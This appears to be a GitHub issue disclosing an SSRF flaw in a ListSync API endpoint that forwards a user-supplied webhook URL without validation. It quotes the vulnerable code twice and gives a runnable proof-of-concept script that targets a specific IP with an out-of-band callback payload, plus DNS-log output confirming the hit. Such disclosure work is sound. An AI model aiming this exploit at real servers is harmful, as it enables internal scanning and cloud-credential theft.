Skip to content

[Bug]: SSRF vulnerability #79

New issue
New issue
Open
Open
[Bug]: SSRF vulnerability#79
@NinjaGPT

Description

@NinjaGPT
NinjaGPT
opened on Feb 26, 2026

🐛 Bug Description

Summary

The POST /api/notifications/test endpoint accepts a user-supplied webhook_url in the request body and passes it directly to requests.post() (or DiscordWebhook) without any URL validation or allowlist check. An attacker sends a crafted JSON payload with webhook_url pointing to an attacker-controlled server. The application issues an outbound HTTP request to that URL, confirmed by DNS callback hits from the server's IP. This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.

Details

  • SOURCE
// list-sync-main/api_server.py#L6858C1-L6968C99
6858→async def test_discord_notification(payload: dict = None):
6859→    """Send a test Discord notification to verify webhook configuration"""
6860→    try:
6861→        # Get Discord webhook URL from request body or environment
6862→        webhook_url = None
6863→        if payload and 'webhook_url' in payload:
6864→            webhook_url = payload['webhook_url']
6865→        
6866→        if not webhook_url:
6867→            webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868→        
6869→        if not webhook_url:
6870→            raise HTTPException(
6871→                status_code=400, 
6872→                detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873→            )
6874→        
6875→        # Try to use the discord-webhook library if available
6876→        try:
6877→            from discord_webhook import DiscordWebhook, DiscordEmbed
6878→            from datetime import datetime
6879→            
6880→            # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881→            webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882→            
6883→            # Create embed with test message
6884→            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885→            embed = DiscordEmbed(
6886→                title="🧪 Discord Integration Test",
6887→                description="If you see this message, Discord notifications are working correctly! ✅",
6888→                color=10181046  # Purple color
6889→            )
6890→            
6891→            embed.add_embed_field(
6892→                name="Test Time",
6893→                value=current_time,
6894→                inline=True
6895→            )
6896→            
6897→            embed.add_embed_field(
6898→                name="Status",
6899→                value="✅ Connected",
6900→                inline=True
6901→            )
6902→            
6903→            embed.set_footer(text="ListSync Notification System")
6904→            embed.set_timestamp()
6905→            
6906→            # Add embed to webhook (only embed, no content)
6907→            webhook.add_embed(embed)
6908→            
6909→            # Send webhook
6910→            response = webhook.execute()
6911→            
6912→            return {
6913→                "success": True,
6914→                "message": "Test notification sent successfully! Check your Discord channel.",
6915→                "timestamp": current_time
6916→            }
6917→            
6918→        except ImportError:
6919→            # Fallback to using requests directly
6920→            from datetime import datetime
6921→            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922→            
6923→            # Only send embed, no content to avoid duplicate messages
6924→            payload = {
6925→                "embeds": [{
6926→                    "title": "🧪 Discord Integration Test",
6927→                    "description": "If you see this message, Discord notifications are working correctly! ✅",
6928→                    "color": 10181046,
6929→                    "fields": [
6930→                        {
6931→                            "name": "Test Time",
6932→                            "value": current_time,
6933→                            "inline": True
6934→                        },
6935→                        {
6936→                            "name": "Status",
6937→                            "value": "✅ Connected",
6938→                            "inline": True
6939→                        }
6940→                    ],
6941→                    "footer": {
6942→                        "text": "ListSync Notification System"
6943→                    },
6944→                    "timestamp": datetime.utcnow().isoformat()
6945→                }]
6946→            }
6947→            
6948→            response = requests.post(webhook_url, json=payload, timeout=10)
6949→            response.raise_for_status()
6950→            
6951→            return {
6952→                "success": True,
6953→                "message": "Test notification sent successfully! Check your Discord channel.",
6954→                "timestamp": current_time
6955→            }
6956→        
6957→    except requests.exceptions.Timeout:
6958→        raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959→    except requests.exceptions.RequestException as e:
6960→        error_msg = f"Failed to send Discord notification: {str(e)}"
6961→        if hasattr(e, 'response') and e.response is not None:
6962→            error_msg += f" (Status: {e.response.status_code})"
6963→        raise HTTPException(status_code=500, detail=error_msg)
6964→    except Exception as e:
6965→        import traceback
6966→        error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967→        logging.error(error_detail)
6968→        raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")
  • SINK
// list-sync-main/api_server.py#L6858C1-L6968C99
6858→async def test_discord_notification(payload: dict = None):
6859→    """Send a test Discord notification to verify webhook configuration"""
6860→    try:
6861→        # Get Discord webhook URL from request body or environment
6862→        webhook_url = None
6863→        if payload and 'webhook_url' in payload:
6864→            webhook_url = payload['webhook_url']
6865→        
6866→        if not webhook_url:
6867→            webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868→        
6869→        if not webhook_url:
6870→            raise HTTPException(
6871→                status_code=400, 
6872→                detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873→            )
6874→        
6875→        # Try to use the discord-webhook library if available
6876→        try:
6877→            from discord_webhook import DiscordWebhook, DiscordEmbed
6878→            from datetime import datetime
6879→            
6880→            # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881→            webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882→            
6883→            # Create embed with test message
6884→            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885→            embed = DiscordEmbed(
6886→                title="🧪 Discord Integration Test",
6887→                description="If you see this message, Discord notifications are working correctly! ✅",
6888→                color=10181046  # Purple color
6889→            )
6890→            
6891→            embed.add_embed_field(
6892→                name="Test Time",
6893→                value=current_time,
6894→                inline=True
6895→            )
6896→            
6897→            embed.add_embed_field(
6898→                name="Status",
6899→                value="✅ Connected",
6900→                inline=True
6901→            )
6902→            
6903→            embed.set_footer(text="ListSync Notification System")
6904→            embed.set_timestamp()
6905→            
6906→            # Add embed to webhook (only embed, no content)
6907→            webhook.add_embed(embed)
6908→            
6909→            # Send webhook
6910→            response = webhook.execute()
6911→            
6912→            return {
6913→                "success": True,
6914→                "message": "Test notification sent successfully! Check your Discord channel.",
6915→                "timestamp": current_time
6916→            }
6917→            
6918→        except ImportError:
6919→            # Fallback to using requests directly
6920→            from datetime import datetime
6921→            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922→            
6923→            # Only send embed, no content to avoid duplicate messages
6924→            payload = {
6925→                "embeds": [{
6926→                    "title": "🧪 Discord Integration Test",
6927→                    "description": "If you see this message, Discord notifications are working correctly! ✅",
6928→                    "color": 10181046,
6929→                    "fields": [
6930→                        {
6931→                            "name": "Test Time",
6932→                            "value": current_time,
6933→                            "inline": True
6934→                        },
6935→                        {
6936→                            "name": "Status",
6937→                            "value": "✅ Connected",
6938→                            "inline": True
6939→                        }
6940→                    ],
6941→                    "footer": {
6942→                        "text": "ListSync Notification System"
6943→                    },
6944→                    "timestamp": datetime.utcnow().isoformat()
6945→                }]
6946→            }
6947→            
6948→            response = requests.post(webhook_url, json=payload, timeout=10)
6949→            response.raise_for_status()
6950→            
6951→            return {
6952→                "success": True,
6953→                "message": "Test notification sent successfully! Check your Discord channel.",
6954→                "timestamp": current_time
6955→            }
6956→        
6957→    except requests.exceptions.Timeout:
6958→        raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959→    except requests.exceptions.RequestException as e:
6960→        error_msg = f"Failed to send Discord notification: {str(e)}"
6961→        if hasattr(e, 'response') and e.response is not None:
6962→            error_msg += f" (Status: {e.response.status_code})"
6963→        raise HTTPException(status_code=500, detail=error_msg)
6964→    except Exception as e:
6965→        import traceback
6966→        error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967→        logging.error(error_detail)
6968→        raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")

POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/api/notifications/test', urlparse(url).path):
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests

# Define the target URL and endpoint
target_url = "http://34.127.19.15:41670/api/notifications/test"

# Set up the OOB URL for testing
oob_url = '$domain:443'

# Craft the payload with the malicious webhook URL
payload = {
    "webhook_url": f"http://{oob_url}/"
}

# Configure the request parameters
headers = {
    "Content-Type": "application/json"
}

# Send the POST request to test the SSRF vulnerability
response = requests.post(
    url=target_url,
    headers=headers,
    json=payload,
    verify=False,
    allow_redirects=False,
    timeout=30.0
)

# Print the results
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
# ********************************** Poc End ***********************************
  • OUTPUT
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 172.217.46.16, 69.28.61.220, 69.28.61.221
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

📋 Expected Behavior

access to trusted URLs

❌ Actual Behavior

This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.

🔄 Steps to Reproduce

please check the POC

💻 Operating System

Ubuntu

🔧 Installation Method

Docker

🚨 Error Messages



🛠️ Affected Areas


    

  •  Synchronization
    • 

  •  User Interface
    • 

  •  Data Processing
    • 

  •  Configuration
    • 

  •  Performance
    • 

  •  Other (specify in additional context)
    • 



📝 Relevant Log Entries




⚙️ Configuration




📋 Additional Context


No response
Metadata
Metadata
Assignees
No one assigned
    Labels
    No labels
    No labels
    Projects
    No projects
    Milestone
    No milestone
    Relationships
    None yet
    Development
    No branches or pull requests
    Issue actions